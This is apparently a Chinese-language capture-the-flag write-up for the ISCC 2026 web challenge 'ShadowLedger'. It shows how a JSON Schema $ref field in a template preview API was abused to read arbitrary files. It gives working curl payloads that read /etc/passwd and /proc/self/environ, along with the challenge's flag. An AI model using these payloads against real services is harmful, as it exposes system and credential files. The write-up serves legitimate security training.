【2026】ISCC ShadowLedger

ShadowLedger题目类型web先注册和登录存在admin用户39.105.213.28:12606/dashboard发现有以下功能Template consoleReports在这里发现权限不够返回看下用户会话信息看到两个api接口/api/template/import,/api/template/preview查看到用户会话信息user:{uid:1932,username:willson,role:auditor},routes:[/api/template/import,/api/template/preview]}没有线索目前只有templates可以访问输入口可能有漏洞。查看页面发现/static/app.js路径访问关键代码async function preview() { const schemaText document.querySelector(#schema).value; let schema JSON.parse(schemaText); const result await api(/api/template/preview, {schema}); // ... }/api/template/preview后端接口这是json schema外部引用漏洞($ref任意文件读取)输入的json原封不动发给后端。curl -X POST http://39.105.213.28:12606/api/template/preview \ -H Content-Type: application/json \ -H Cookie: sl_sessioneyJ1aWQiOjE5MzIsInVzZXJuYW1lIjoid2lsbHNvbiIsInJvbGUiOiJhdWRpdG9yIn0.aPMIGp2ewwCy919GzVGeANiYBB0PkrSRuAc67VNqCnw \ -d {schema:{$ref:file:///etc/passwd}}输入这个成功读取到/etc/passwd文件这道题已经解完了漏洞就是这个。遍历应用每个地方发现写这个curl -X POST http://39.105.213.28:12606/api/template/preview -H Content-Type: application/json -H Cookie: sl_sessioneyJ1aWQiOjE5MzIsInVzZXJuYW1lIjoid2lsbHNvbiIsInJvbGUiOiJhdWRpdG9yIn0.aPMIGp2ewwCy919GzVGeANiYBB0PkrSRuAc67VNqCnw -d {schema:{$ref:file:///proc/self/environ}}flag:ISCC{black_box_schema_ref_to_shadow_vault_2026}async function preview() {const schemaText document.querySelector(#schema).value;let schema JSON.parse(schemaText);const result await api(/api/template/preview, {schema});// ...}